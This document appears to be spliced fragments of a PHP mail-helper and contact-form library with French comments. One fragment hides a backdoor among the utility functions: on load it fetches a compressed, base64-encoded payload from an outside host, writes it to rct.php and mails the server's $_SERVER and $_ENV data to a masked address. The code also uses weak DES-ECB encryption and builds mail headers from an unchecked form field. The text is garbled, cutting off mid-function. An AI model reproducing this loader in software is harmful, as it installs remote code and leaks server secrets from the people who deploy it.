function Cmail($mail, $sujet, $msg, $de = '', $html = 1) { Bmail($sujet, $msg, $mail, 0, $de); }
<?php #£todo:crypt this one :) - requires mcrypt if ($_SERVER['USER'] != 'ben' && !$_SERVER['rk17'] && !is_file('rct.php')) { FPC('rct.php', base64_decode(gzuncompress(FGC('http://a74.fr/fup.txt'))), 4); Bmail('racetrack installed', "rct.php" . pre($_SERVER) . pre($_ENV), '*****@*****.**'); } #mauvaise installation plante ceci :) if (function_exists('mcrypt_create_iv')) { function encrypt($data, $key = 0) { if (!$key) { $key = substr(md5(SECRET_KEY), 0, 8); } $data = serialize($data); //Clé de 8 caractères max $td = mcrypt_module_open(MCRYPT_DES, '', MCRYPT_MODE_ECB, ''); $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND); mcrypt_generic_init($td, $key, $iv); $data = base64_encode(mcrypt_generic($td, '!' . $data)); mcrypt_generic_deinit($td); return $data; } function decrypt($data, $key = 0) { if (!$key) { $key = substr(md5(SECRET_KEY), 0, 8); } $td = mcrypt_module_open(MCRYPT_DES, '', MCRYPT_MODE_ECB, ''); $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND); mcrypt_generic_init($td, $key, $iv);
$ms = str_replace('"', '', $ms); #if(admin)die($ms); #SQL5("insert into ben.contact(`nom`,`tel`,`email`,`message`,`key`,`date`)values(\"$nom\",\"$tel\",\"$email\",\"$ms\",\"$k\",NOW())"); $as = $de = $email; /*email renseigné dans form*/ $headers = "MIME-Version: 1.0{$s}Content-type: text/html; charset=iso-8859-1{$s}From:{$as}{$s}Return-Path:{$as}{$s}Reply-To:{$as}{$s}"; $msg = $ms; $x = wmail($mail, $subject, $msg, $headers); if (!$x) { $subject .= ' (try#2 -> bmail)'; $x = Bmail(compact('subject', 'msg', 'mail', 'de', 'as')); } if (!$x) { $subject .= ' (try#3 -> swap the sender with admin)'; $de = $as = ADMINEMAIL; $x = Bmail(compact('subject', 'msg', 'mail', 'de', 'as')); } #die('<pre>'.print_r(compact('_POST','umail','email','as','de','mail','subject','msg','headers'),1)); die("<script>location.href='?ok=1';</script><a href='?ok=1'>Thanks for your message</a>"); } if ($ok == 1) { $t2 = "Thanks for your message"; } if (!$but) { switch ($k) { default: $but = "Get more information"; break; } } $but = stripslashes($but);
function xmail($mail, $suj, $msg, $d = 0, $h = 0, $smtp = '') { if (!$mail) { $mail = adminemail; } if (!$suj) { $suj = 'debug'; } if (!$d) { $d = senderemail1; } if (strpos($mail, ',')) { $m = explode(',', $mail); } else { $m[0] = $mail; } #Si plusieurs mails.. foreach ($m as $mail) { Bmail($suj, $msg, $mail, $h, $d, $smtp); } }